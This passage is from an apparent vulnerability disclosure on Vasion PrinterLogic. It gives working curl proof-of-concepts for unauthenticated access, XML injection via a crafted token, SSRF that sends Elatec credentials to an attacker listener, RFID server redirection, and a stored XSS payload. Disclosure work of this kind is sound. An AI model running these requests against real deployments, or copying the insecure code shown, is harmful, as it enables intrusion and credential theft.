given at /var/www/app/admin/design/reports/overview_color.php:12)"} []
    Feb  1 01:06:46 printerlogic 
va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 
01:06:46] production.ERROR:
    [...]

The `console_release` directory completely lacks authentication in several 
webpages:

    kali% curl -k 
'http://10.105.0.241/console_release/common/validate_user.php?license_check=1&printerId=4'
    
    
[{"pull_printer":null,"global_pull_printer":0,"app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":0,"full_binding":0,"binding":1}]

This can be verified in the SaaS version of Printerlogic:

    kali% curl -kv 
'https://[redacted].printercloud10.com/console_release/common/validate_user.php?license_check=1&printerId=4'
    
    
[{"pull_printer":null,"global_pull_printer":"0","app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":"0","full_binding":1,"binding":0}]

These pages are also freely available in the SaaS version, for example, it is 
possible to retrieve all the versions of Docker instances without 
authentication by visiting 
`https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php`:

[code:html]
kali% curl -kv 
https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php
 | grep server-info 
    <div class="server-info-head">
        <table class="server-info-about-header default-table">
                        <div class="server-info-version">Version</div>
                        <div class="server-info-release">Released</div>
                <td width="60%" class="server-info-pad-prem">Windows</td>
                <td width="20%" class="server-info-pad-pc">25.0.0.587</td>
                <td class="server-info-pad-prem">Mac OS X</td>
                <td class="server-info-pad-pc">25.1.0.556</td>
                <td class="server-info-pad-prem">Linux (Debian/Ubuntu)</td>
                <td class="server-info-pad-pc">25.1.0.556</td>
                <td class="server-info-pad-prem">Red Hat Linux</td>
                <td class="server-info-pad-pc">25.1.0.556</td>
                    <td class='server-info-pad-prem'>API Gateway 
Microservice</td>
                    <td class='server-info-pad-pc'>1.212.2</td>
                    <td class='server-info-pad-prem'>Authentication 
Microservice</td>
                    <td class='server-info-pad-pc'>1.0.268</td>
                    <td class='server-info-pad-prem'>Badge Reader 
Microservice</td>
                    <td class='server-info-pad-pc'>1.0.62</td>
                    <td class='server-info-pad-prem'>Control Panel Platform 
UI</td>
                    <td class='server-info-pad-pc'>1.81.3</td>
                    <td class='server-info-pad-prem'>External Badge Connector 
Microservice</td>
                    <td class='server-info-pad-pc'>1.0.34</td>
                    <td class='server-info-pad-prem'>IDP Integrations 
Microservice</td>
                    <td class='server-info-pad-pc'>1.0.6</td>
                    <td class='server-info-pad-prem'>Identity Microservice</td>
                    <td class='server-info-pad-pc'>v1.0.88</td>
                    <td class='server-info-pad-prem'>Print Queue 
Microservice</td>
                    <td class='server-info-pad-pc'>5.0.124</td>
                    <td class='server-info-pad-prem'>PrinterInstaller</td>
                    <td class='server-info-pad-pc'>5.0.6607</td>
                    <td class='server-info-pad-prem'>QMS Microservice</td>
                    <td class='server-info-pad-pc'>1.0.124</td>
                    <td class='server-info-pad-prem'>SCIM Microservice</td>
                    <td class='server-info-pad-pc'>1.0.9</td>
                    <td class='server-info-pad-prem'>Snmp Custom Data 
Microservice</td>
                    <td class='server-info-pad-pc'>N/A</td>
                    <td class='server-info-pad-prem'>Tree Microservice</td>
                    <td class='server-info-pad-pc'>1.0.57</td>
                    <td class='server-info-pad-prem'>User Microservice</td>
                    <td class='server-info-pad-pc'>5.188.0</td>
                    <td class='server-info-pad-prem'>API Keys UI</td>
                    <td class='server-info-pad-pc'>0.1.4</td>
                    <td class='server-info-pad-prem'>QR Code UI</td>
                    <td class='server-info-pad-pc'>0.1.5</td>
                    <td class='server-info-pad-prem'>Quota Management UI</td>
                    <td class='server-info-pad-pc'>1.1.187</td>
[/code]

The `console_release` directory also contains multiple pages reachable without 
authentication:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/toshiba/console.php?printer_id=1
 
[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/xerox/console.php?printer_id=1
 
[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/samsung/console.php?printer_id=1
 
[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/km/console.php?printer_id=1

When reading codes inside `console_release`, it is clear that the PHP code 
doesn't implement authentication:

Content of `/var/www/app/console_release/toshiba/change_screens.php`:

[code:php]
  1 <?php
  2 
  3 namespace console_release\toshiba;
  4 
  5 use Illuminate\Support\Facades\Log;
  6 use PrinterLogic\Models\Printer;
  7 
  8 require_once("global.php");
  9 require_once(ABSPATH . "console_release/toshiba/toshiba_soap_helper.php");
 10 
 11 $printer_id = requestint('printer_id', 0);
 12 $token = urldecode(base64_decode(requeststr('token', '')));
 13 if ($printer_id != 0 && $token != '') {
 14     try {
 15         $printer = Printer::where('id', $printer_id)->first();
 16         $select_screen_response = select_screen($printer->host_address, 
$token, "Menu");
 17         Log::debug("Toshiba change_screens, select_screen_response = " . 
$select_screen_response);
 18         $parser = xml_parser_create();
 19         xml_parse_into_struct($parser, $select_screen_response, $vals, 
$index);
 20         xml_parser_free($parser);
 21         Log::debug(print_r($vals, true));
 22         Log::debug(print_r($index, true));
 23 
 24         $logout_result = logout($printer_id, $token);
 25         Log::debug("Toshiba change_screens, logout result:");
 26         Log::debug(print_r($logout_result, true));
 27         if (isset($index['SOAP-ENV:FAULT']) && 
isset($index['EXC:DESCRIPTION'])) {
 28             Log::debug("error: " . 
$vals[$index['EXC:DESCRIPTION'][0]]['value']);
 29             echo "fail";
 30         } else {
 31             echo "success";
 32         }    
 33     } catch(Exception $ex) {
 34         Log::debug("Toshiba change_screens, error: " . $ex->getMessage());
 35         echo "fail";
 36     }    
 37 }

[/code]

The variables `$token` and `$printer_id` are attacker-controlled data and there 
is no authentication.

The `select_screen` function is implemented in 
`/var/www/app/console_release/toshiba/toshiba_soap_helper.php` and the 
execution flow goes to a HTTP/HTTPS request (without verification of SSL 
certificates) with attacker-controlled data sent to the printer in the function 
`processCurl()`:

Content of `/var/www/app/console_release/toshiba/change_screens.php`:

[code:php]
  1 <?php
[...]
769 function select_screen($ip, $token, $screen)
770 {
771     $header = get_header($token);
772     $body = '<selectScreen 
xmlns="http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl";>';
773     $body .= '<ScreenType>' . $screen . '</ScreenType>';
774     $body .= '</selectScreen>';
775
776     return processCurl($ip, $header, $body, "http://";);
777 }

555 function get_header($token)
556 {
557     $header  = '<s:Header>';
558     $header .= '<h:sessionHeader 
xmlns:h="http://www.toshibatec.co.jp/e-STUDIO/Common"; 
xmlns="http://www.toshibatec.co.jp/e-STUDIO/Common"; xmlns:xsi="http    
://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema";>';
559     $header .= '<Token>' . $token . '</Token>';
560     $header .= '</h:sessionHeader>';
561     $header .= '</s:Header>';
562     return $header;
563 }
[/code]

With the `processCurl` function defined in 
`/var/www/app/console_release/toshiba/change_screens.php`:
[code:php]
  1 <?php
[...]
 11 function processCurl($url, $XRX_SOAP_HEADER, $body, $h_ref = 'https://')
 12 {
 13     $FULL_XRX = processCurlBuildXRX($body, $XRX_SOAP_HEADER);
 14     $XRX_URL = processCurlBuildURL($url, $h_ref);
 15     Log::debug("Toshiba, toshiba_soap_helper, processCurl, url = " . 
$XRX_URL . ", full xrx = " . $FULL_XRX);
 16
 17     $ch = curl_init();
 18     $toshiba_url = config('cpa.toshiba.url');
 19     if ($toshiba_url !== '') {
 20         $headers = [
 21             'Host:' . $toshiba_url,
 22         ];
 23     } else {
 24         $headers = [
 25             'Host: ' . get_host(),
 26         ];
 27     }
 28     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
 29     curl_setopt($ch, CURLOPT_URL, $XRX_URL);
 30     curl_setopt($ch, CURLOPT_POST, true);
 31     curl_setopt($ch, CURLOPT_POSTFIELDS, $FULL_XRX); ? contains the retuned 
value of processCurlBuildXRX containing the attacker-controlled data
 32     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 33     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 34     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 35     curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
[/code]

There is no verification of the `$token` value. `$token` goes into several 
functions (including `processCurlBuildXRX()` that will add XML tags) but no 
checks are done and it is entirely possible for an attacker to add custom XML 
tags in order to craft XML data that will be sent by the remote printer, 
without authentication.

In order to bypass `$token`, an attacker can include the following XML-based 
data in the GET request (`?token=base64(..)`).

Crafting a custom `$token` value, to inject additional XML value 
(`CUSTOM-XML-HERE`):

    $token = 
base64("</Token></h:sessionHeader></s:Header></s:Body></s:Envelope>CUSTOM-XML-HERE<!--")

The first tags will close the opened XML tags by the PHP code and the final 
`<--` will comment out the rest of the tags added by the PHP code.

Using dynamic analysis, we can confirm this behavior.

Sending a request to PrinterLogic that will send request to a remote printer:

    kali% curl 
"http://10.105.0.241/console_release/toshiba/change_screens.php?printer_id=2&token=$(echo
 XML-INJECTION | base64 -w0)"

On the machine that is declared as a printer in PrinterLogic, there is a HTTP 
request sent from PrinterLogic to the port 49629.

XML request sent to the printer without authentication and without filtering of 
data:

    kali% nc -l -v -p 49629
    listening on [any] 49629 ...
    10.105.0.241: inverse host lookup failed: Host name lookup failure
    connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 58676
    POST / HTTP/1.1
    Host: 10.105.0.241
    Accept: */*
    x-datadog-trace-id: 932651358478891623
    x-datadog-parent-id: 11324935202201644044
    Content-Length: 652
    Content-Type: application/x-www-form-urlencoded
    
    <?xml version="1.0" encoding="utf-8"?><s:Envelope 
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/";><s:Header><h:sessionHeader 
xmlns:h="http://www.toshibatec.co.jp/e-STUDIO/Common"; 
xmlns="http://www.toshibatec.co.jp/e-STUDIO/Common"; 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; 
xmlns:xsd="http://www.w3.org/2001/XMLSchema";><Token>XML-INJECTION [1] XML 
injection
    </Token></h:sessionHeader></s:Header><s:Body 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; 
xmlns:xsd="http://www.w3.org/2001/XMLSchema";><selectScreen 
xmlns="http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl";><ScreenType>Menu</ScreenType></selectScreen></s:Body></s:Envelope>

This code pattern can be found in several files, allowing an attacker to 
interact with remote printers without authentication or to disclose internal 
paths or variables:

Example - request without authentication leading to path disclosure:

    kali% curl "http://10.105.0.241/console_release/samsung/soap_server_0.php";
    <?xml version="1.0" encoding="UTF-8"?>
    <SOAP-ENV:Envelope 
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/";><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>WSDL</faultcode><faultstring>SOAP-ERROR:
 Parsing WSDL: Couldn't load from '/var/www/app/cons
    
ole_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl'
 : failed to load external entity 
"/var/www/app/console_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl"
    </faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

The file `/www/app/console_release/samsung/get_device_info.php` allows reaching 
printers without authentication.

Content of `/web/www/app/console_release/samsung/get_device_info.php`:

[code:php]
  1 <?php
[...]
 11 if( requestint( 'printer_id', 0 ) != 0 )
 12 {
 13   $printer_vo->id = requestint( 'printer_id', 0 );
 14   $printer_dao->load( $printer_vo );
[...]
 30   $header = array();
 31   $header[] = 'Content-length: 0';
 32   $header[] = 'Content-type: application/json';
 33   $header[] = 'Authorization: OAuth oauth_signature="123456", 
oauth_version="1.0", oauth_consumer_key="test", 
oauth_signature_method="PLAINTEXT"';
 34 
 35   curl_setopt( $ch, CURLOPT_HTTPHEADER, $header );
 36   curl_setopt( $ch, CURLOPT_POST, true );
 37   curl_setopt( $ch, CURLOPT_URL, "http://"; . $printer_vo->str_host_address 
. ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" );
 38   curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 39   curl_setopt( $ch, CURLOPT_USERPWD, "$username:$password" );
 40   curl_setopt( $ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );
[/code]


Request to 
`http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2`:

    kali% curl 
"http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2";
    
    error = Failed to connect to 10.105.0.239 port 8080: Connection refused
    <BR><BR>Array
    (
    )
    
    
    Array
    (
    )
    kali%

When the printer is reachable on the port 8080, we can see PrinterLogic sending 
a HTTP request.

Request to 
`http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2`:

    kali% curl 
"http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2";
    
    error = Empty reply from server
    <BR><BR>Array
    (
    )
    
    
    Array
    (
    )
    kali%

On the server, acting as the printer, we receive this HTTP connection.

Request sent to the Printer by PrinterLogic without authentication:

    kali% nc -l -v -p 8080
    listening on [any] 8080 ...
    10.105.0.241: inverse host lookup failed: Host name lookup failure
    connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 52954
    POST /ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1
    Host: 10.105.0.239:8080
    Accept: */*
    Content-length: 0
    Content-type: application/json
    Authorization: OAuth oauth_signature="123456", oauth_version="1.0", 
oauth_consumer_key="test", oauth_signature_method="PLAINTEXT"
    x-datadog-trace-id: 843152030884643607
    x-datadog-parent-id: 2752307119501071741
    Expect: 100-continue
    
    ^C
    kali%

The file `/var/www/app/console_release/common/rfid_check.php` doesn't check 
authentication and allow changing parameters of printers using 4 different 
operations. This is one of the operations:

Content of `/var/www/app/console_release/common/rfid_check.php`:

[code:php]
  1 <?php
[...]
 97 else if( requestint( "rfid_delete", 0 ) != 0 )
 98 {
 99         $rfid_dao = new rfid_data_dao();
100         $rfid_vo = new rfid_data_vo();
101 
102         $rfid_vo->id = $_POST['rfid_delete'];
103         echo "";//$rfid_dao->delete_rfid( $rfid_vo );
104 }
[/code]

There is another example that may be used by a malicious admin to conduct blind 
SSRF. The resulting HTTP request sent by PrinterLogic will be: 
`http://IP_PRINTER/cgi-bin/direct/printer/prtappse/semenu?page=bundles`. Again 
there is no authentication:

Content of `/www/app/console_release/lexmark/dellCheck.php`:

[code:php]
  1 <?php
  2 require_once( "global.php" );
  3 require_once(ABSPATH."lib/dao/dbopen.php");
  4 require_once( ABSPATH . "lib/dao/printer_dao.php" );
  5 
  6 $printer_dao = new printer_dao();
  7 $printer_vo = new printer_vo();
  8 $printer_vo->id = requestint( 'printer_id', 0 );
  9 $printer_dao->load( $printer_vo );
 10 
 11 $url = "http://"; . $printer_vo->str_host_address . 
"/cgi-bin/direct/printer/prtappse/semenu?page=bundles";
 12 $url_headers = @get_headers($url);
 13 if(!$url_headers || strpos($url_headers[0], '200') === false)
 14 {
 15     $new_url = "http://"; . $printer_vo->str_host_address . 
"/esf/prtappse/semenu?page=bundles";
 16     $new_url_headers = @get_headers($new_url);
 17     if(!$new_url_headers || strpos($new_url_headers[0], '200') === false)
 18         $contents = "";
 19     else
 20         $contents = file_get_contents($new_url);
 21 }
 22 else
 23 {
 24     $contents = file_get_contents($url);
 25 }
 26 
 27 if(mb_stripos($contents, 'Bundle ID')){
 28         echo 'Lexmark';
 29 }
[/code]

The file `/var/www/app/console_release/fast_release/badge_register_process.php` 
manages the registration of badges used for authentication but this file 
doesn't support authentication.

The list of vulnerable PHP scripts is not exhaustive and the analysis was not 
completed due to the lack of time. A small sample has been provided in other 
sections with more in-depth analysis (SSRF).

A final example, the `/var/www/app/console_release/km/console.php` file allows 
to remove jobs or to list them without authentication:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/km/console.php?printer_id=1

This webpage will load the page `/var/www/app/state/query/console_release.php` 
that doesn't check authentication. The only authentication is disabled because 
`GLOBALS::$ENHANCED_SECURITY` is set to `0` by default.

Content of `/var/www/app/state/query/console_release.php`:

[code:php]
  1 <?php
[...]
 19 if(GLOBALS::$ENHANCED_SECURITY == 1 ) {
 20 // Make sure the user has been logged in and the session is valid
 21     if (!GLOBALS::$login->session_is_valid_portal()) {
 22         respond_expired_json();
 23         return;
 24     }
 25     $printer_id = GLOBALS::$login->portal_get_printer_id();
 26     $user = GLOBALS::$login->get_user_name_portal();
 27         if (GLOBALS::$LDAP_EMAIL_RELEASE == 1 ) {
 28         $email = $GLOBALS::$login->getEmail();
 29     }
 30 } else {
 31     $printer_id = GLOBALS::$login->get_printer_id_from_request();
 32 
 33     if (requestint("enc", 0) > 0) {
 34         $decode_user = base64_decode(urldecode(requeststr("user", "")));
 35         $user = urldecode(substr($decode_user, 0, -30));
 36     } else
 37         $user = requeststr("user", "");
 38 
 39     if (GLOBALS::$LDAP_EMAIL_RELEASE == 1) {
 40 
 41         if ($user) {
 42             $ldap_lookups = new LdapLookups();
 43             $ldap_lookups->loadLdapSettings();
 44             $email = $ldap_lookups->lookupAdUserEmail($user);
 45         }
 46     }
 47 }
[...]
156                         //process the rest of the rows
157                         while( $jobs_dao->next_row( $jobs_vo ))
158                         {
159                             //only process unique job_uuid's once if there 
is a value returned
160                             if 
($uniqueJobHelper->hasJobUuidBeenProcessed($jobs_vo)) {
161                                     continue;
162                             }
163                             array_push( $messages,
164                                         array(
165                                                 "queue_id" => 
$jobs_vo["queue_id"],
166                                                 "workstation_id" => 
$jobs_vo["workstation_id"],
167                                                 "job_num" => 
$jobs_vo["job_num"],
168                                                 "job_type" => 
$jobs_vo["job_type"],
169                                                 "document_title" => 
str_replace( ',', '', $jobs_vo['document_title'] ),
170                                                 "pages" => 
$jobs_vo['pages'],
171                                                 "status" => 
$jobs_vo['status'],
172                                                 "submitted" => 
$jobs_vo['submitted']
173                                         )
174                                 );
175                         }
176                 }
177                 echo json_encode( $messages );
[/code]

Looking for `ENHANCED_SECURITY`:

    kali% rgrep 'ENHANCED_SECURITY' .
    ./config/settings.php.local:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on 
Enhanced security for CPA
    ./config/settings.php:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on Enhanced 
security for CPA
    ./lib/common/load-settings.php:    static $ENHANCED_SECURITY = 0; // Turn 
on Enhanced security for CPA

Using dynamic analysis, it was confirmed that the script doesn't check 
authentication.

It is then possible to extract information without authentication about the 
printed jobs for any user or to delete them. These information can be retrieved:

- - Queue_id
- - Workstation_id
- - Job_num
- - Job_type
- - Document_title
- - Pages
- - Status
- - Submitted

Futhermore, some debug code is still present:

Content of `/var/www/app/state/query/console_release.php`:

[code:php]
  1 <?php
[...]
418         if( GLOBALS::$CONSOLE_RELEASE_TESTING == 1 )
419         {
420                 ob_start();
421                 print_r( $_POST );
422                 $output = ob_get_clean();
423                 \Storage::disk('cache')->put("xerox/z.txt", $output );
424         }
[/code]

PHP webpages are reachable without authentication and allow an attacker to 
perform administrative tasks.

The code present in the `console_release` directory is poorly written and 
contains a big number of vulnerabilities.

The code allows an attacker to interact with remote printers without 
authentication.

It is possible to extract information without authentication about the printed 
jobs for any user or to delete them. 



## Details - Pre-authenticated Elatec password disclosure, Change to a 
malicious Elatec server and Blind-SSRF

It is possible to remotely retrieve the Elatec password without authentication 
by using the script `/www/app/console_release/fast_release/elatec_tcpconv2.php` 
(PoC provided below).

It is also possible to change the Elatec server (Elatec TCPConv 2), used for 
RFID authentication, to a malicious server (PoC provided below).

Finally, it is possible to have a blind SSRF and a normal SSRF.

On line 20 and 21, the verification of SSL is disabled, allowing an attacker on 
the network to Man-In-The-Middle the connection.

Content of `/www/app/console_release/fast_release/elatec_tcpconv2.php`:

[code:php]
  1 <?php
[...]
  9     $elatec_device = new 
PrinterLogic\Models\ElatecSimpleBadgeReleaseDevice();
 10     $elatec = 
$elatec_device->get_elatec_fast_release_settings(requestint("printer_id", 0), 
requeststr('ip_address', ''));
 11 
 12     $elatec_is_setup = false;
 13     $elatec_port_is_setup = false;
 14     if ($elatec->usb_remote_host != '') {
 15         $ch_check = curl_init();
 16         curl_setopt($ch_check, CURLOPT_URL, "http://"; . $elatec->ip_address 
. ":81/pages/setup_usb.php");
 17         curl_setopt($ch_check, CURLOPT_USERPWD, $elatec->username . ":" . 
$elatec->password); // [1] leak of Elatec credentials
 18         curl_setopt($ch_check, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 19         curl_setopt($ch_check, CURLOPT_RETURNTRANSFER, 1);
 20         curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false);              
                  // [2] Insecure SSL/TLS connection
 21         curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false);              
                  // [3] Insecure SSL/TLS connection
 22         curl_setopt($ch_check, CURLOPT_TIMEOUT, 30);
[...]
 51         $post_values = "usb_newline=" . $elatec->newline . "&usb_tcp=" . 
$elatec->usb_tcp . "&usb_local_port=" . $elatec->usb_local_port
 52             . "&usb_client_data=" . $elatec->usb_client_data . "&usb_ip=" . 
$elatec->usb_remote_host . "&usb_remote_port=" . $elatec->usb_remote_port
 53             . "&usb_connect=" . $elatec->usb_connect . "&usb_connect_char=" 
. $elatec->usb_connect_char . "&usb_send_connect_char="
 54             . $elatec->usb_send_connect_char . 
"&usb_disconnect_on_given_char=" . $elatec->usb_discconect_on_given_char . 
"&usb_disconnect_on_char="
 55             . $elatec->usb_disconnect_on_char . 
"&usb_send_disconnect_char=" . $elatec->usb_send_disconnect_char
 56             . "&usb_disconnect_timeout=" . $elatec->usb_disconnect_timeout;
 57         $headers = array(
 58             "POST /cgi-bin/setup_usb.py",
 59             "Content-Type: application/x-www-form-urlencoded",
 60             "Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ /*;q=0.8",
 61             "Accept-Encoding: gzip, deflate",
 62             "Accept-Language: en-US,en;q=0.8"
 63         );
 64         $ch = curl_init();
 65         curl_setopt($ch, CURLOPT_URL, "http://"; . $elatec->ip_address . 
":81/cgi-bin/setup_usb.py");
 66         curl_setopt($ch, CURLOPT_USERPWD, $elatec->username . ":" . 
$elatec->password);       // [4] leak of Elatec credentials
 67         curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 68         curl_setopt($ch, CURLOPT_POST, true);
 69         curl_setopt($ch, CURLOPT_POSTFIELDS, $post_values);
 70         curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
 71         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 72         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);                    
                  // [5] Insecure SSL/TLS connection
 73         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);                    
                  // [6] Insecure SSL/TLS connection
[...]
100             curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);               
                  // [7] Insecure SSL/TLS connection
101             curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);               
                  // [8] Insecure SSL/TLS connection
[...]
120                 echo json_encode($result);                                  
                  // [9] Output of the SSRF vulnerability
121             } else
122                 echo $error_result;                                         
                  // [10] Output of the SSRF vulnerability
123         } else
124             echo $error_result;                                             
                  // [11] Output of the SSRF vulnerability
[...]
129     $as2 = AccountSetting::updateOrCreate(['setting' => 
'badge_managment_register_ip'], ['value' => requeststr('ip_address', ''), 
'secure' => 0]); // [12] Change of IP for targeted Elatic device
[/code]

Sending a request with a new `ip_address` value, injecting a custom port 
without authentication:

HTTP request to change the configuration of Elatec without authentication:

    kali% curl -kv 
"http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&ip_address=10.105.0.239:80/";

On the remote server (10.105.0.239:80), we can retrieve the login/password.

HTTP request from PrinterLogic containing Elatec credentials:

    kali% sudo nc -n -l -v -p 80
    listening on [any] 80 ...
    
    connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 36012
    POST /:81/cgi-bin/setup_usb.py HTTP/1.1
    Host: 10.105.0.239
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ 
/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    x-datadog-trace-id: 14656536092520189759
    x-datadog-parent-id: 7934684775867635564
    Content-Length: 291
    
    
usb_newline=crlf&usb_tcp=client&usb_local_port=7777&usb_client_data=plain&usb_ip=10.105.0.241&usb_remote_port=7777&usb_connect=on_any_char&usb_connect_char=&usb_send_connect_char=yes&usb_disconnect_on_given_char=&usb_disconnect_on_char=&usb_send_disconnect_char=yes&usb_disconnect_timeout=10
    
    kali% echo YWRtaW46YWRtaW4=|base64 -d
    admin:admin
    kali%

There is also no verification of SSL certificates.

This is also a SSRF, blind by default - This blind SSRF can be transformed into 
a normal SSRF depending on the HTTP response (line 120, 122 and 124).

The SSRF can be used to reach internal ressources.

It is possible to change the IP of the Elatec server (line 129) to a malicious 
server without authentication.

The leak of login/password can be used to compromise the Elatec solution, which 
is used for "Secure Printing using RFID".



## Details - Pre-authenticated SSRF and Change of RFIDeas

Without authentication, It is possible to remotely change the RFIDeas server 
(RFIDeas Ethernet 241), used for RFID authentication, to a malicious server.

There is also a Blind SSRF.

Content of `/www/app/console_release/fast_release/rfideas_241_install.php`:

[code:shell]
  1 <?php
[...]
  7 if( requestint( "printer_id", 0 ) != 0 )
  8 {
  9     $port = 23;
 10     $connection = @fsockopen( requeststr( "ip_address", "" ), $port, 
$errno, $errstr );
 11     if (!$connection)
 12     {
 13         $response = array(
 14             "result"    =>  "Connection Failed",
 15             "errno"     =>  $errno,
 16             "errstr"    =>  $errstr,
 17         );
 18         echo json_encode( $response );
 19     }
 20     else
 21     {
 22         $server_host = gethostname();
 23         $server_ip = gethostbyname( $server_host );
 24         $data_port_fail = true;
 25         $data_ip_addr = true;
[...]
 72         fwrite($connection, "set init_serv_addr " . $server_ip . "\r");
 73         if (return_output($connection) === false)
 74             $init_port_fail = false;
[...]
114         $as = AccountSetting::updateOrCreate(['setting' => 
'badge_managment_register_ip'], ['value' => requeststr('ip_address', ''), 
'secure' => 0]);
115         echo json_encode($output);
[/code]

Sending a request with a new `$ip_address` value (`10.105.0.239`), injecting a 
custom port (`25`), we confirm there is a SSRF:

    kali% curl -kv 
"http://10.105.0.241/console_release/fast_release/rfideas_241_install.php?printer_id=1&ip_address=10.105.0.239:25";
    *   Trying 10.105.0.241:80...
    * Connected to 10.105.0.241 (10.105.0.241) port 80 (#0)
    > GET 
/console_release/fast_release/rfideas_241_install.php?printer_id=1&ip_address=10.105.0.239:25
 HTTP/1.1
    > Host: 10.105.0.241
    > User-Agent: curl/7.74.0
    > Accept: */*
    >

On the remote server (10.105.0.239), we get the connection on port 25:

    kali% sudo nc -l -n -v -p 25
    listening on [any] 25 ...
    connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 35956

The SSRF can be used to reach internal ressources.

It is possible to change the IP of the RFIDeas server (line 114) to a malicious 
server without authentication.



## Details - Pre-authenticated Stored XSS in 
/var/www/app/console_release/fast_release/register_badge.php

Using the previous vulnerability Pre-authentication Elatec password disclosure, 
Change to a malicious Elatec server and Blind-SSRF, it is possible to get a 
stored XSS on the `$ip_address` value in the 
`/www/app/console_release/fast_release/register_badge.php` file, without 
authentication:

Content of `/www/app/console_release/fast_release/register_badge.php`:

[code:html]
 32                     <td colspan="3">
 33                         <?php
 34                         ?>
 35                         An RFIDeas Ethernet 241 or Elatec TCPConv 2 with a 
badge reader is required for badge registration.
 36                     </td>
 37                 </tr>
 38                 <tr>
 39                     <td>
 40                         <input type="text" id="ip_address" 
onfocus="register_badge_jquery.watermark_focus( 'ip_address' );" 
onblur="register_badge_jquery.watermark_blur( 'ip_address' );"
 value="<?php echo $ip_address; ?>" /> [1] XSS
 41                     </td>
 42                     <td>
 43                         <div style="position: relative; top: -5px; 
padding-left: 10px;">
 44                             <a class="button" id="install_rfid" style="top: 
6px; position: relative;" 
onmousedown="register_badge_jquery.install_reader('rfideas');">Configure 
RFIDeas Ethernet 241</a>
[/code]

Sending a request with a new `$ip_address` value containing a stored XSS to 
`/console_release/fast_release/elatec_tcpconv2.php`:

    kali% curl -kv 
'http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&ip_address=";><script>alert(window.cookie)</script>'
    {"result":"Error: Could not resolve host: \"><script>alert(window.cookie)<"}

There is now a stored XSS in 
`http://10.105.0.241/console_release/fast_release/register_badge.php`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/console_release/fast_release/register_badge.php

The stored XSS can be used to steal cookies of administrators and get 
administrator access to the solution. This attack doesn't require 
authentication.



## Details - SSRF everywhere in /var/www/app and compromise of the SaaS 
infrastructure

When analyzing the PHP files in `/opt/www/app`, it appears a large number of 
SSRF vulnerabilities exist. They mainly can be exploited by administrators by 
providing wrong hostname/ip for printers. They are 42 calls to `curl_setopt(.., 
CURLOPT_URL, ..)`:

    kali% rgrep CURLOPT_URL .
    ./app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, 
CURLOPT_URL, $url);
    ./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, 
$xrxUrl );
